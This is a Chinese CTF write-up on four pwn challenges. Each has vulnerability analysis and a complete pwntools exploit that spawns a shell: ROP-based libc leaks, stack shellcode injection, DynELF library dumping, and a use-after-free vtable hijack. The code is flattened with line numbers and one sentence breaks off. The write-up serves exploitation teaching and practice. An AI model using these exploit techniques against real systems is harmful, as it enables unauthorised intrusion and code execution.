题目下载
pwn100 程序的漏洞很明显,考察的是exploit的编写。
1 2 3 4 5 6 7 $ gdb pwn100 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
开了NX不能用shellcode,程序也没给libc,因此第一步需要泄露libc中函数的地址,下面编写了一个leak内存的程序,作用是leak libc函数read()和puts()的实际地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *begin = 0x40068e read_got = 0x601028 puts_got = 0x601018 puts_plt = 0x400500 pop_rdi = 0x400763 r = remote('119.28.63.211' , 2332 ) def leak (address ): payload = 'A' * 0x40 payload += 'B' * 8 payload += p64(pop_rdi) payload += p64(address) payload += p64(puts_plt) payload += p64(begin) payload += 'C' * (200 - len (payload)) r.send(payload) try : r.readuntil('bye~\n' ) leak = r.recvuntil('\n' ) return leak[:-1 ].ljust(8 , '\0' ) except : return None print "read address: " + hex (u64(leak(read_got)))print "puts address: " + hex (u64(leak(puts_got)))
运行结果:
1 2 3 4 5 $ ./testserver.py [+] Starting local process './pwn100': Done read address: 0x7fe49c7d19a0 puts address: 0x7fe49c74a5d0 [*] Stopped program './pwn100'
因为libc的加载是页对齐的,所以低十二位不管怎么随机化都不会变。利用这个原理github上有一个叫libc-database
的项目,可以根据任意两个libc函数的低十二位的值找到libc的对应版本,接着可以找到一些其他libc函数的偏移。
1 2 3 4 5 6 7 8 9 10 $ ./find read 9a0 puts 5d0 http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu3_amd64.deb (id libc6_2.23-0ubuntu3_amd64) /lib/x86_64-linux-gnu/libc-2.23.so (id local-375198810bb39e6593a968fcbcf6556789026743) $ ./dump local-375198810bb39e6593a968fcbcf6556789026743 offset___libc_start_main_ret = 0x20830 offset_system = 0x0000000000045380 offset_dup2 = 0x00000000000f70c0 offset_read = 0x00000000000f69a0 offset_write = 0x00000000000f6a00 offset_str_bin_sh = 0x18c58b
下面就是完整的exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *begin = 0x40068e readn = 0x40063d bss = 0x601050 read_got = 0x601028 puts_got = 0x601018 puts_plt = 0x400500 pop_rdi = 0x400763 pop_rsi_pop_r15 = 0x400761 r = process('./pwn100' ) payload = 'A' * 0x40 payload += 'B' * 8 payload += p64(pop_rdi) payload += p64(read_got) payload += p64(puts_plt) payload += p64(pop_rdi) payload += p64(bss) payload += p64(pop_rsi_pop_r15) payload += p64(7 ) payload += p64(bss) payload += p64(readn) payload += p64(begin) print "payload len" + hex (len (payload))payload += 'C' * (200 - len (payload)) r.send(payload) r.readuntil('bye~\n' ) leak = r.recvuntil('\n' ) read_got = u64(leak[:-1 ].ljust(8 , '\0' )) read_offset = 0xec690 system_offset = 0x468f0 libc_base = read_got - read_offset system_addr = libc_base + system_offset print "system address: " + hex (system_addr)r.send("/bin/sh" ) payload2 = 'A' * 0x40 payload2 += 'B' * 8 payload2 += p64(pop_rdi) payload2 += p64(puts_got) payload2 += p64(pop_rsi_pop_r15) payload2 += p64(8 ) payload2 += p64(puts_got) payload2 += p64(readn) payload2 += p64(pop_rdi) payload2 += p64(bss) payload2 += p64(puts_plt) print "payload2 len" + hex (len (payload2))payload2 += 'C' * (200 - len (payload2)) r.send(payload2) print "press enter to send system" raw_input() r.send(p64(system_addr)) r.interactive()
pwn200 这个函数里有一个栈地址泄露,把v2写满打印就会连rbp
的值一同打印出来。 这个函数里有一个栈溢出漏洞,buf的内容会覆盖dest的值,之后就可以向任意地址写内容。
1 2 3 4 5 6 7 $ gdb pwn200 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
发现栈可执行,用shellcode即可,下面是完整的exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r = process('./pwn200' ) shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64' ) free_got = 0x602018 r.recvuntil('who are u?\n' ) r.send(shellcode.ljust(48 )) r.recvuntil(shellcode.ljust(48 )) leak_addr = u64(r.recvn(6 ).ljust(8 , '\x00' )) shellcode_addr = leak_addr - 0x50 print 'shellcode addr: ' + hex (shellcode_addr)r.recvuntil('give me your id ~~?\n' ) r.sendline('0' ) r.recvuntil('give me money~\n' ) payload = p64(shellcode_addr).ljust(56 , '\x00' ) + p64(free_got) r.send(payload) r.sendline('2' ) r.interactive()
pwn300 程序运行错误,readelf发现缺少两个特殊的lib文件:libio和libgetshell。这是出题人自己实现的两个库文件:
1 2 3 4 5 6 7 $ readelf -d pwn300 Dynamic section at offset 0xee0 contains 13 entries: Tag Type Name/Value 0x0000000000000001 (NEEDED) Shared library: [libio.so] 0x0000000000000001 (NEEDED) Shared library: [libgetshell.so] ...
为了能让程序正常运行,需要把lib文件放到系统目录里:
1 2 3 $ sudo cp lib* /usr/local/lib $ sudo ldconfig $ ./pwn300
这里是为了实验,实际没有提供lib文件,需要静态分析漏洞并利用。 程序的漏洞很明显,又是考察exploit的编写,利用栈溢出dump所用的库文件libgetshell,跳转到其中的getshell函数即可,下面是完整的exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *import os, sysDEBUG = 0 LOCAL = 1 VERBOSE = 0 if LOCAL: r = process('./pwn300' ) else : r = remote('127.0.0.1' , 4444 ) if VERBOSE: context(log_level = 'debug' )main_addr = 0x4004a9 pop_r12_r13_r14_r15 = 0x40049e callframe = 0x400484 write_got = 0x601018 def recvall (count ): buf = '' while count: tmp = r.recvn(count) buf += tmp count -= len (tmp) return buf def leak (addr, length = 40 ): r.recvuntil('fuck me!\n' ) payload = 'A' * 40 payload += p64(pop_r12_r13_r14_r15) payload += p64(write_got) payload += p64(length) payload += p64(addr) payload += p64(1 ) payload += p64(callframe) payload += p64(0 ) * 7 payload += p64(main_addr) assert len (payload) <= 0xa0 r.send(payload.ljust(0xa0 )) return recvall(length) if DEBUG: gdb.attach(r)dynelf = DynELF(leak, elf = ELF('pwn300' )) libgetshell = dynelf.lookup(None , "libgetshell" ) getshell = libgetshell + 0x311 info("libgetshell = " + hex (libgetshell)) info("getshell = " + hex (getshell)) r.recvuntil('fuck me!\n' ) payload = 'a' * 40 + p64(getshell) r.send(payload.ljust(0xa0 )) ''' # dump库 f = open('libgetshell.dump', 'wb') while 1: f.write(leak(libgetshell, 0x1000)) libgetshell += 0x1000 ''' r.interactive()
pwn400 这是一个C++写的rsa加解密程序,里面有一个qword_604380
的全局变量,命名为cipher,首先要分析出cipher的结构,因为整个程序都在操作这个结构。
1 2 3 4 5 cipher: | 0x8 | 0x48 | 0x200 | 0x8 | 0x8 +--------+-----------+----------------+----------+--------+ | vtable | plaintext | cipertext | keychain | length | +--------+-----------+----------------+----------+--------+
刚开始的时候我也不知道其实cipher是一个类,不知道第一个存储空间是vtable,只知道第一个存储空间里存的是一些函数地址。 加密的时候,加密一个字节会变为8个字节,加密0x40个字节,ciphertext就是0x200,打印的时候就会将keychain的地址一同打印出来。 解密之后会有uaf:解密之后cipher变量所指的堆会被free,但是cipher指针没有置空,再调用comment会覆盖原来的堆,根据前面泄露的堆地址,覆盖vtable为fake_vtable(一个堆上的地址),在这个地址上写上要执行的gadget的地址。 这里找的是如下一段gadget:
1 0x0000000000401245 : add rsp, 0x28 ; pop rbx ; pop rbp ; ret
gadget执行完之后,栈顶即为局部变量textbuf,因此可以在这里布置ropchain,方法是调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from pwn import *DEBUG = 0 LOCAL = 0 VERBOSE = 0 libc = ELF('./libc-2.23.so' ) system_offset = libc.symbols['system' ] binsh_offset = next (libc.search('/bin/sh' )) printf_offset = libc.symbols['printf' ] pop_rdi = 0x402343 printf_got = 0x604018 printf_plt = 0x400be0 main = 0x401d9d if LOCAL: r = process('./pwn400' ) else : r = remote('127.0.0.1' , 4444 ) if VERBOSE: context(log_level='debug' )def menu (): return r.recvuntil('exit\n' ) def addcipher (keychain='0' , p = 3 , q = 5 ): menu() r.sendline('1' ) r.recvuntil('No\n' ) r.sendline(keychain) if keychain == '1' : r.recvuntil('p:' ) r.sendline(str (p)) r.recvuntil('q:' ) r.sendline(str (q)) def encrypt (length, data ): menu() r.sendline('2' ) r.recvuntil(')\n' ) r.sendline(str (length)) r.recvuntil('\n' ) r.send(data) def decrypt (length, data ): menu() r.sendline('3' ) r.recvuntil(')\n' ) r.sendline(str (length)) r.recvuntil('text\n' ) r.send(data) def comment (data ): menu() r.sendline('4' ) r.recvuntil('RSA' ) r.send(data) def pwn (): if DEBUG: gdb.attach(r) addcipher(keychain='1' ) print "press enter to encrypt" raw_input() encrypt(64 , 'a' *64 ) r.recvuntil(': ' ) r.recvn(512 ) heapleak = u64(r.recvuntil('\n' )[:-1 ].ljust(8 , '\x00' )) heap = heapleak - 0x270 info("Heap Leak = " + hex (heap)) decrypt(64 , '0' * 128 ) fake_vtable = heap + 0x40 payload = p64(fake_vtable) + p64(1 ) * 5 + p64(0xdeadbeef ) * 4 + p64(0x401245 ) + p64(0x401245 ) payload = payload.ljust(128 ) comment(payload) ropchain = p64(pop_rdi) ropchain += p64(printf_got) ropchain += p64(printf_plt) ropchain += p64(main) decrypt(256 , ropchain.ljust(512 )) libc = u64(r.recvn(6 ).ljust(8 , '\x00' )) - printf_offset info('libc = ' + hex (libc)) ropchain = p64(pop_rdi) ropchain += p64(libc + binsh_offset) ropchain += p64(libc + system_offset) decrypt(256 , ropchain.ljust(512 )) r.interactive() if __name__ == '__main__' : pwn()